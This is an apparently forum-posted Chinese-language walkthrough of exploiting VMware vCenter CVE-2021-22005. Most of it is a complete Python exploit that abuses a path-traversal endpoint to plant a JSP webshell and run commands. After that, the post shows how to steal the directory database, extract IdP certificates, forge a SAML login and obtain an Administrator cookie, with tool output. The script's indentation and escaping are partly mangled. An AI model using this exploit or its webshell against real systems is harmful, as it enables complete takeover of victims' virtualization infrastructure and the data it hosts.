vCenter CVE-2021-22005
提取 IdP 证书并破坏 vCenter
使用 root 或管理权限,可以从位于 data.mdb 文件中的目录服务信息中提取 IdP 证书。这些证书以明文形式存储,可用于为任何用户(包括内置管理员)签署任何 SAML 身份验证请求。
访问https:///ui访问 VCSA 实例,在 /ui 路径下添加 cookie,然后重新浏览到https:///ui。
现在将以管理员用户身份登录并能够访问所有 vCenter 资源。
利用脚本
# Adapted from https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e
import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = None
proxies = {"https": "http://127.0.0.1:8080"}
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def escape(_str):
_str = _str.replace("&", "&")
_str = _str.replace("<", "<")
_str = _str.replace(">", ">")
_str = _str.replace("\"", """)
return _str
def str_to_escaped_unicode(arg_str):
escaped_str = ''
for s in arg_str:
val = ord(s)
esc_uni = "\\u{:04x}".format(val)
escaped_str += esc_uni
return escaped_str
def execute_command(url, cmd_param, cmd):
headers = {"User-Agent": "Mozilla/5.0",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded"}
req_data = {cmd_param: cmd.strip()}
r = requests.post(url, headers=headers, data=req_data, verify=False, proxies=proxies)
if r.status_code != 200:
print("[-] Error: Endpoint may not exist. Aborting")
return None
ct = r.content.decode()
ct = ct.split('<pre>')[1].split('</pre>')[0]
return ct
def createAgent(target, agent_name, log_param):
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (
target, agent_name, log_param)
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close"}
json_data = {"manifestSpec": {},
"objectType": "a2",
"collectionTriggerDataNeeded": True,
"deploymentDataNeeded": True,
"resultNeeded": True,
"signalCollectionCompleted": True,
"localManifestPath": "a7",
"localPayloadPath": "a8",
"localObfuscationMapPath": "a9"}
requests.post(url, headers=headers, json=json_data, verify=False, proxies=proxies)
def generate_manifest(webshell_location, webshell):
manifestData = """<manifest recommendedPageSize="500">
<request>
<query name="vir:VCenter">
<constraint>
<targetType>ServiceInstance</targetType>
</constraint>
<propertySpec>
<propertyNames>content.about.instanceUuid</propertyNames>
<propertyNames>content.about.osType</propertyNames>
<propertyNames>content.about.build</propertyNames>
<propertyNames>content.about.version</propertyNames>
</propertySpec>
</query>
</request>
<cdfMapping>
<indepedentResultsMapping>
<resultSetMappings>
<entry>
<key>vir:VCenter</key>
<value>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
<resourceItemToJsonLdMapping>
<forType>ServiceInstance</forType>
<mappingCode><![CDATA[
#set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
#set($orig_log = $appender.getFile())##
#set($logger = $GLOBAL-logger.logger.parent)##
$appender.setFile("%s")##
$appender.activateOptions()##
$logger.warn("%s")##
$appender.setFile($orig_log)##
$appender.activateOptions()##]]>
</mappingCode>
</resourceItemToJsonLdMapping>
</value>
</value>
</entry>
</resultSetMappings>
</indepedentResultsMapping>
</cdfMapping>
<requestSchedules>
<schedule interval="1h">
<queries>
<query>vir:VCenter</query>
</queries>
</schedule>
</requestSchedules>
</manifest>""" % (webshell_location, webshell)
return manifestData
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="Target", required=True)
parser.add_argument('--exploit', dest='exploit', action='store_true')
parser.add_argument("-e", "--endpoint", help="Webshell Endpoint")
parser.add_argument("-p", "--parameter", help="Webshell Command Parameter")
args = parser.parse_args()
target = args.target
print("[*] Target: %s" % target)
if args.exploit:
# Variables
webshell_param = id_generator(6)
log_param = id_generator(6)
agent_name = id_generator(6)
shell_name = id_generator(6) + ".jsp"
# Simple JSP webshell
webshell = """<%%@ page import="java.util.*,java.io.*"%%><HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%%if (request.getParameter("%s") !=null){ Process p = Runtime.getRuntime().exec(request.getParameter("%s")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null) { out.println(disr); disr = dis.readLine(); }}%%></pre></BODY></HTML>
""" % (webshell_param, webshell_param)
webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
webshell = str_to_escaped_unicode(webshell)
# Generate teh manifest
manifestData = generate_manifest(webshell_location, webshell)
print("[*] Creating Agent")
createAgent(target, agent_name, log_param)
print("[*] Uploading Manifest")
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (
target, agent_name, log_param)
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close"}
json_data = {"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
requests.post(url, headers=headers, json=json_data, verify=False, proxies=proxies)
elif args.endpoint and args.parameter:
shell_name = args.endpoint
webshell_param = args.parameter
url = "%s/idm/..;/%s" % (target, shell_name)
print("[*] Webshell Endpoint: %s" % url)
print("[*] Webshell Parameter: %s" % webshell_param)
print("\n[*] Launching webshell (type 'quit' to exit)")
while True:
cmd ="ls"
# if (cmd == "quit" or cmd == "exit"):
# sys.exit(-1)
output = execute_command(url, webshell_param, cmd)
time.sleep(1)
if output:
print(output)
else:
break
python2 getshell3.py -t https://192.168.0.0 –exploit
获取到webshell 之后。下载db文件
python3 vcenter_saml_login.py -p data.mdb -t 10.0.100.200
root@kali:~/vcenter# python3 vcenter_saml_login.py -p data.mdb -t 10.0.100.200
[*] Successfully extracted the IdP certificate
[*] Successfully extracted trusted certificate 1
[*] Successfully extracted trusted certificate 2
[*] Obtaining hostname from vCenter SSL certificate
[*] Found hostname vcsa.olympus for 10.0.100.200
[*] Initiating SAML request with 10.0.100.200
[*] Generating SAML assertion
[*] Signing the SAML assertion
[*] Attempting to log into vCenter with the signed SAML request
[+] Successfuly obtained Administrator cookie for 10.0.100.200!
[+] Cookie: VSPHERE-UI-JSESSIONID=06D1630719B4DE33A4CE653458911640
修改cookie 直接登录即可
请登录后查看回复内容